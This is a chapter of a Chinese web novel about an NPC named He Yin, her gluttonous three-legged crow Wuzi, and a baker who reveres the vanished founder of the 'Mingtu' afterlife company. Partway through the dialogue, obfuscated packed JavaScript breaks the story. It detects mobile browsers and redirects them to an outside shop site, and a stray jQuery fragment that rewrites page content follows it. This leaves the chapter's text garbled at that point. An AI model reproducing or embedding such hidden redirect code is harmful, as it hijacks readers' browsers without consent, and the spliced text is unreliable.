74.第 74 章

作品:《可我真的只是个普通NPC

    云悠悠看了看远去的九五,又看向禾音:“原来乌鸦的主人是他吗,我一直以为它是你的乌鸦,还想问问你有关小乌鸦的来历呢。”


    最近对它来历好奇的人还挺多,禾音把埋在蛋糕里吃的正欢的乌鸦揪了出来,似是而非地回了一句:“主债鸦偿。”


    百忙之中,乌兹抬头,黑色的羽毛上沾满了奶油,它不知道,还做出了一副严肃的神态,有些滑稽,“什么小乌鸦,鸦有名字,鸦名乌兹!”


    “好,小乌兹,慢慢吃,不用急,没人和你抢的。”云悠悠两眼弯弯,靠在柜台上撑着下巴看一人一鸦吃蛋糕。


    她看的仔细,虽然禾音进食的样子斯文优雅,但是不经意间流露出的满足神态与乌兹一模一样。


    等她们吃完以后,云悠悠推开柜台侧边的门,邀请道:“如果不急的话,进来坐坐?”


    “好。”


    蜜语从外面看店面很小,但是里边儿的空间并不狭窄,相反,很宽敞,中间摆着奶白的餐桌,还放了两把椅子,一眼看去布置的很温馨。


    “刚好,不介意的话来帮我试试新品吧。”云悠悠拿来了一个甜品架,上边放了几块蛋糕切块,还有布丁泡芙之类的甜点,她为禾音倒了一杯清茶,连乌兹那份也没有落下,特地给它准备了个小杯子。


    乌兹两只鸟眼里冒出了狼一样的绿光。


    “谢谢,太客气了。”禾音没动,还攥住了乌兹的翅膀,阻止了它扑上去的动作。


    “对一个甜品师来说,自己做的东西能被别人喜欢是件很有成就感的事。”云悠悠把甜品架往禾音的方向推了推,“随便吃。”


    “谢谢。”禾音视线从蛋糕上挪开,松开乌兹的翅膀,后者如愿以偿地扎进了奶油里。


    她放松地靠在椅背上,状似不经意地问:“为什么会对乌兹的来历好奇?”


    “这就是一个很长的故事了。”云悠悠兴致很高,干脆把店铺门口挂的营业中牌子翻了过去,开口前先喝了口茶润嗓子。


    “洗耳恭听。”


    云悠悠思考了两秒开头,随后问她:“刚进公司的时候,有没有人跟你们讲过冥途是怎么来的?”


    “提过一点,创始人建立冥途,至此死人与活人有了边界。”禾音还记得,当时八一对他们说,这和他们没关系。


    “一笔带过地提了嘴啊。”云悠悠不知是想到了什么,脸上的笑意淡了些,低声喃喃,“也是……”


    禾音安安静静地听着,不追问,不细究。


    “冥途的创始人,是既神秘又强大的存在,秩序的建立者。”提起这个,云悠悠眼里亮起了细碎的星光。


    乌兹一双眼睛粘在了甜品上,这会儿却突然转过了脑袋,蛋糕都不吃了,顶着一头奶油跳到两人中间,安安静静地听她讲话。


    “你对这个感兴趣?”问归问,禾音倒是丝毫不意外,乌兹对于公司的事总会表现出特别的关注。


    乌兹“嘿嘿”一笑,看着桌子避开禾音的视线,“鸦好奇。”


    “以前的副本是没有约束的,副本需要活人做养料,所以会在人间随意拉开一道口子,把人拉进去,几个,甚至成百上千个活人,进一批死绝一批。”


    为了不吓到客人,云悠悠已经很克制了,可是讲起创始人相关的事,她还是压不住声音里的雀跃。


    “而百年前创始人的出现彻底改变了这种局面,他出征各大副本,古老的副本和现在很多新生副本不一样,里面的鬼怪长者甚至活了千年之久,又吞噬了无数生灵,实力大概已经到了恐怖的地步。”


    “可创始人仅凭一己之力就让这些鬼怪臣服,甚至做到了隔断活人与亡灵世界之间的缝隙。”


    她双手和拳置于心脏前,垂下眼睛无比虔诚地说:“鬼的世界本是无序的,而他,开创了文明。”


    “咳,那个,我有个问题。”禾音掐准时机提出疑问,“创始人建立冥途,是为了帮助活人?”


    云悠悠摇头,“副本之间也会抢食,大副本养料过剩所以越来越强大,危害两界,而小副本养分不够以至于鬼怪暴动,冥途平衡了二者。”


    禾音若有所思地点头,拿了块蛋糕,笑着咬了几口,话里带了些调侃的意味:“你很崇拜创始人。”


    不过也是,无论那位创始人究竟什么样,能够以强硬的手腕建立起这么一个最大程度保证两个世界平衡的地方,确实值得崇敬。


    云悠悠这时才意识到自己刚刚失态了,脸上浮起了一层红晕,“我诞生于一个古老的副本,本里的boss是那时的亲历者,耳濡目染之下就……我是为了这位传说中的创始人才考编进的公司。”


    不知为何,乌兹的表情像便秘了一样,想说什么又什么都没说。


    很诚挚的一份崇敬和热爱,禾音也不免被她影响。她抿了一口茶,清涩的味道刚好中和了奶油的甜腻,“那你见到他了吗?”


    “没有。”云悠悠顿了顿,表情落寞了下去,“从来没有。”


    乌兹脸上便秘的表情更重了,眼睛抽搐了几下。


    禾音拍了拍她的肩,安慰:“只要还在公司,总有机会的。”


    “嗯!”


    她追问:“所以现在公司的老板是创始人吗?”


    “不是,现在公司的掌权人……”云悠悠欲言又止,“据说是与创始人同一个副本里出来的,但他……”


    “罢了。”


    她没有细说下去。


    禾音稍稍扬眉,合理猜测:“那现在公司里是不是分成了两派,一派像你一样追随创始人,还有一派是掌权人的拥趸?”


    “创始人消失很久了,现在的公司是掌权人的公司。”


    云悠悠苦笑,清晰地认清现实,“路上随便拉员工问,恐怕大多数都不知道创始人存在过。”


    正是因为这样,所以她才给禾音讲了那些有关创始人的事,她能做的也只有这些了。


    “这也是为什么我要问乌兹的来历……传说,创始人身边有一只三足金乌,生而追随于他。虽然乌兹颜色也对不上,品种也对不上,但好歹有三只脚。”


    “这么多年来,这是唯一的线索了。”


    云悠悠笑容中带了一丝苦涩,心里清楚自己这是在病急乱投医。


    “大概要让你失望了,”禾音如实告知,“我是在实习副本碰上乌兹和九五的,副本是一个医院,遇到他们的时候乌兹就是现在这幅样子,黑的,三只脚,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12319318|129262||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    贪吃还臭屁。”


    “哪有这么说鸦的!鸦哪里臭屁了?!”


    两人的视线同时聚焦在了乌鸦身上。


    “咳咳——”乌兹瞬间没了刚才的气势,小声辩驳,“副本里的生物长得奇形怪状也很正常吧,鸦只是有三只脚,又不是有三对翅膀。”


    “也是。”云悠悠早已经预料到了这个答案,虽然失落却也不算意外。


    乌兹是跟着禾音的,主人又是九五,又怎么可能跟传说中的三足金乌有关系。


    但她还是不死心地问了句:“小乌兹,在你诞生的时候,或者在副本这么多年,有听说过三足金乌吗?”


    乌兹头摇的和拨浪鼓一样,“鸦不知道,鸦什么都不知道!”


    云悠悠:“这样啊……”


    禾音看了乌兹几眼,把它看的都不敢和她对视了才移开目光,“说起来,之前也有个人问过我乌兹的来历。”


    “谁?”


    “后勤维检部的部长,白清越。”


    “他?”云悠悠没怎么和这位接触过,对他印象不深。


    她想了一会儿,不确定地说:“据说他的来历很特别,反正肯定不是副本里出来的,而且他出现在公司的时候创始人也已经消失了……”


    说着,云悠悠眉眼间出现了几分担忧之色。


    禾音将茶盏放回桌子上,轻轻的一声拉回了云悠悠的思绪,“他对公司里的这些人,似乎也没有那么喜欢。”


    云悠悠微愣,“这样吗?”


    禾音笑了笑,不置可否,“谁知道呢,反正说是这么说的。”


    她指了指乌兹羽毛上奶白的奶沫,扯开了话题:“请问有帕子吗?它吃了满身的奶油,待会儿该飞不起来了。”


    “有的,奶油黏腻不好清理,我再给你拿碗水过来。”云悠悠站起身,噔噔噔地跑去了后面。


    禾音趁机低声问乌兹:“刚才你好像想说什么话?”


    乌兹往后边瞅了几眼,确定云悠悠听不见后贼兮兮地探过头,“你说,有没有一种可能,创始人建立冥途的目的只是不想副本再随便拉活人进去扰他清净。”


    禾音:“……”


    “这些话你要是当着她的面说出来,刚才吃的那些甜品就该全部吐出来了。”


    乌兹缩了缩头,“鸦就随口说说嘛,说不准这就是事实呢。”


    消停了没一会儿,它又问禾音:“刚才听了那些有关创始人的事,你有没有什么感想?”


    禾音不答反问:“怎么,你很有感想?”


    乌兹偷偷地瞥了几眼她的表情,“鸦就是觉得,这人真厉害。”


    她轻笑,并没有表态。


    云悠悠回来了,带来了水碗和方帕。


    这么聊了一段以后,禾音对之前犹豫的事有了定夺,她动作轻柔地给乌兹擦奶油,一边闲聊似地开口:“我还有件事想请教你。”


    云悠悠沉重的心情稍缓,边喝茶边问:“什么?”


    “你知道 Z 吗?”


    云悠悠手一抖,茶盏翻落,在她裙摆上洇出了大块水渍,她却无暇顾及。


    “你怎么会问他?”


    “还是说你已经碰上过那个疯子了?”